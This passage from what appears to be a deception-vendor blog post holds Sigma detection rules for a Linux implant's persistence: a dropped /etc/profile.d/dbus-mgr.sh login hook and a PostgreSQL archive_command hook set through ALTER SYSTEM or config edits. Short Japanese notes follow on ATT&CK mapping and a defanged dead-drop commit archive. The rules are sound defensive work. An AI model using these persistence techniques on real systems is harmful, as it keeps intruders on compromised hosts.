description: Bridge drops /etc/profile.d/dbus-mgr.sh as a login-shell relaunch hook (PostgreSQL persistence tier).
tags:
- attack.persistence
- attack.t1546.004
logsource:
  category: file_event
  product: linux
detection:
  selection:
    TargetFilename: /etc/profile.d/dbus-mgr.sh
  condition: selection
falsepositives:
- Not measured
level: high
---
title: PostgreSQL archive_command Set From Shell
id: 1c8223da-b62e-5949-a617-d0b3334cd022
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: 'Bridge PERSIST_PG installs an archive_command hook so PostgreSQL itself relaunches the implant. Generic: flags shell-side changes to archive_command.'
tags:
- attack.persistence
- attack.t1546
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    CommandLine|contains: archive_command
  selection_op:
    CommandLine|contains:
    - ALTER SYSTEM
    - postgresql.auto.conf
    - postgresql.conf
    - pg_reload_conf
    - -c archive_command
  condition: selection and selection_op
falsepositives:
- DBA changes to WAL archiving; baseline your backup tooling (pgBackRest, wal-g, barman)
level: medium

ATT&CKマッピング

配信とOllama段階の項目は、私たちのハニーポットに送られたリクエストを示しています。インプラントの項目は、静的に解析したコードを示しています。いずれも、コードが被害者のマシンで実行されたことを立証するものではありません。

デッドドロップのアーカイブ

各コミットはhttps://github.com/<parent>/commit/<sha>で閲覧できます。「verse」は第1世代、「stanza」は第3世代です。22行目の「tombstone」は、詩を1つのピリオドに置き換え、チャネルを4分間アドレスのない状態にしました。アドレスは無害化（defang）しています。

全コミット（48件）

ユニークなアドレス（37個）

オープンソースのBeelzebubデセプションフレームワークをご覧いただくか、Beelzebub.aiのデモを申し込むこともできます。

Beelzebubチームは、インターネットをより良く、より安全な場所にするために尽力しています。❤️